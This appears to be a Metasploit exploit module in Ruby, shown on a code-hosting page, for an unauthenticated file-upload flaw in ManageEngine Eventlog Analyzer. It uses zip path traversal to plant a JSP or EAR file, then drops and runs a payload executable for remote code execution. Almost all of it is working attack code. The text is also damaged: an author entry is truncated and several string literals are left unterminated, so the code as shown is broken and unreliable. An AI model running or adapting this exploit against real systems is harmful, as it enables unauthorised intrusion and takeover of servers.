337 lines
11 KiB
Ruby
337 lines
11 KiB
Ruby
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ManageEngine Eventlog Analyzer Arbitrary File Upload',
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'Description' => %q{
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This module exploits a file upload vulnerability in ManageEngine Eventlog Analyzer.
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The vulnerability exists in the agentUpload servlet which accepts unauthenticated
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file uploads and handles zip file contents in a insecure way. By combining both
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weaknesses a remote attacker can achieve remote code execution. This module has been
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tested successfully on versions v7.0 - v9.9 b9002 in Windows and Linux. Versions
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between 7.0 and < 8.1 are only exploitable via EAR deployment in the JBoss server,
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while versions 8.1+ are only exploitable via a JSP upload.
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},
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'Author' =>
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[
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'h0ng10' <
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'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'https://www.mogwaisecurity.de/advisories/MSA-2014-01.txt' ],
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[ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/86' ]
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],
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'DefaultOptions' => { 'WfsDelay' => 5 },
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'Privileged' => false, # Privileged on Windows but not on Linux targets
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'Platform' => %w{ java linux win },
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'Targets' =>
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[
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[ 'Automatic', { } ],
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[ 'Eventlog Analyzer v7.0 - v8.0 / Java universal',
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{
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'Platform' => 'java',
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'Arch' => ARCH_JAVA,
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'WfsDelay' => 30
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}
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],
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[ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Windows',
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86
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}
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],
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[ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Linux',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_X86
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Aug 31 2014'))
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register_options(
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[
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Opt::RPORT(8400),
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OptInt.new('SLEEP',
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[true, 'Seconds to sleep while we wait for EAR deployment (Java target only)', 15]),
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], self.class)
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end
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def get_version
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res = send_request_cgi({
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'uri' => normalize_uri("event/index3.do"),
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'method' => 'GET'
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})
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if res and res.code == 200
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if res.body =~ /ManageEngine EventLog Analyzer ([0-9]{1})/
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return $1
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end
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end
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return "0"
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end
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def check
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version = get_version
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if version >= "7" and version <= "9"
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# version 7 to < 8.1 detection
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res = send_request_cgi({
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'uri' => normalize_uri("event/agentUpload"),
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'method' => 'GET'
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})
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if res and res.code == 405
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return Exploit::CheckCode::Appears
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end
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# version 8.1+ detection
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res = send_request_cgi({
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'uri' => normalize_uri("agentUpload"),
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'method' => 'GET'
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})
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if res and res.code == 405 and version == 8
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return Exploit::CheckCode::Appears
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else
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# We can't be sure that it is vulnerable in version 9
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return Exploit::CheckCode::Detected
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end
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else
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return Exploit::CheckCode::Safe
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end
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end
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def create_zip_and_upload(payload, target_path, is_payload = true)
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# Zipping with CM_STORE to avoid errors decompressing the zip
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# in the Java vulnerable application
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zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
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zip.add_file(target_path, payload)
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post_data = Rex::MIME::Message.new
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post_data.add_part(zip.pack, "application/zip", 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(4))}.zip\"")
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data = post_data.to_s
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if is_payload
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print_status("#{peer} - Uploading payload...")
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end
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res = send_request_cgi({
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'uri' => (@my_target == targets[1] ? normalize_uri("/event/agentUpload") : normalize_uri("agentUpload")),
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'method' => 'POST',
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'data' => data,
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'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
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})
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if res and res.code == 200 and res.body.empty?
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if is_payload
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print_status("#{peer} - Payload uploaded successfully")
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end
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register_files_for_cleanup(target_path.gsub("../../", "../"))
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return true
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else
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return false
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end
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end
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def pick_target
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return target if target.name != 'Automatic'
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print_status("#{peer} - Determining target")
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version = get_version
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if version == "7"
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return targets[1]
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end
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os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
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jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
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target_dir = "../../webapps/event/"
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if not create_zip_and_upload(os_finder_payload, target_dir + jsp_name, false)
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if version == "8"
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# Versions < 8.1 do not have a Java compiler, but can be exploited via the EAR method
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return targets[1]
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end
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return nil
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end
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res = send_request_cgi({
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'uri' => normalize_uri(jsp_name),
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'method' => 'GET'
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})
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if res and res.code == 200
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if res.body.to_s =~ /Windows/
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return targets[2]
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else
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# assuming Linux
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return targets[3]
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end
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end
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return nil
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end
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def generate_jsp_payload
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opts = {:arch => @my_target.arch, :platform => @my_target.platform}
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payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
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exe = generate_payload_exe(opts)
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base64_exe = Rex::Text.encode_base64(exe)
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native_payload_name = rand_text_alpha(rand(6)+3)
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ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
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var_raw = rand_text_alpha(rand(8) + 3)
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var_ostream = rand_text_alpha(rand(8) + 3)
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var_buf = rand_text_alpha(rand(8) + 3)
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var_decoder = rand_text_alpha(rand(8) + 3)
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var_tmp = rand_text_alpha(rand(8) + 3)
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var_path = rand_text_alpha(rand(8) + 3)
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var_proc2 = rand_text_alpha(rand(8) + 3)
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if @my_target['Platform'] == 'linux'
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var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
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chmod = %Q|
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Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
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Thread.sleep(200);
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var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
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cleanup = %Q|
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Thread.sleep(200);
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Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
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else
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chmod = ''
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cleanup = ''
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end
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jsp = %Q|
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<%@page import="java.io.*"%>
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<%@page import="sun.misc.BASE64Decoder"%>
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<%
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try {
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String #{var_buf} = "#{base64_exe}";
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BASE64Decoder #{var_decoder} = new BASE64Decoder();
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byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
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File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
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String #{var_path} = #{var_tmp}.getAbsolutePath();
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BufferedOutputStream #{var_ostream} =
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new BufferedOutputStream(new FileOutputStream(#{var_path}));
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#{var_ostream}.write(#{var_raw});
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#{var_ostream}.close();
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#{chmod}
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Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
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#{cleanup}
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} catch (Exception e) {
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}
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%>
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jsp = jsp.gsub(/\n/, '')
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jsp = jsp.gsub(/\t/, '')
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jsp = jsp.gsub(/\x0d\x0a/, "")
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jsp = jsp.gsub(/\x0a/, "")
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return jsp
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end
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def exploit_native
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# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
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# Fail if this is the case and ask the user to select an appropriate payload.
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if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/
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fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
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end
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jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
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target_dir = "../../webapps/event/"
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jsp_payload = generate_jsp_payload
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if not create_zip_and_upload(jsp_payload, target_dir + jsp_name)
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fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
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end
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return jsp_name
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end
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def exploit_java
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# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
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# Fail if this is the case and ask the user to select an appropriate payload.
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if @my_target['Platform'] == 'java' and not payload_instance.name =~ /Java/
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fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Java target.")
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end
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target_dir = "../../server/default/deploy/"
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# First we generate the WAR with the payload...
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war_app_base = rand_text_alphanumeric(4 + rand(32 - 4))
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war_payload = payload.encoded_war({ :app_name => war_app_base })
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# ... and then we create an EAR file that will contain it.
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ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4))
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app_xml = %Q{<?xml version="1.0" encoding="UTF-8"?><application><display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name><module><web><web-uri>#{war_app_base + ".war"}</web-uri><context-root>/#{ear_app_base}</context-root></web></module></application>}
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# Zipping with CM_STORE to avoid errors while decompressing the zip
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# in the Java vulnerable application
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ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
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ear_file.add_file(war_app_base + ".war", war_payload.to_s)
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ear_file.add_file("META-INF/application.xml", app_xml)
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ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + ".ear"
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if not create_zip_and_upload(ear_file.pack, target_dir + ear_file_name)
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fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
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end
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print_status("#{peer} - Waiting " + datastore['SLEEP'].to_s + " seconds for EAR deployment...")
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sleep(datastore['SLEEP'])
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return normalize_uri(ear_app_base, war_app_base, rand_text_alphanumeric(4 + rand(32 - 4)))
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end
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def exploit
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@my_target = pick_target
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if @my_target.nil?
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print_error("#{peer} - Unable to select a target, we must bail.")
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return
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else
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print_status("#{peer} - Selected target #{@my_target.name}")
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end
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if @my_target == targets[1]
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exploit_path = exploit_java
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else
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exploit_path = exploit_native
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end
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print_status("#{peer} - Executing payload...")
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send_request_cgi({
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'uri' => normalize_uri(exploit_path),
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'method' => 'GET'
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})
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end
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end
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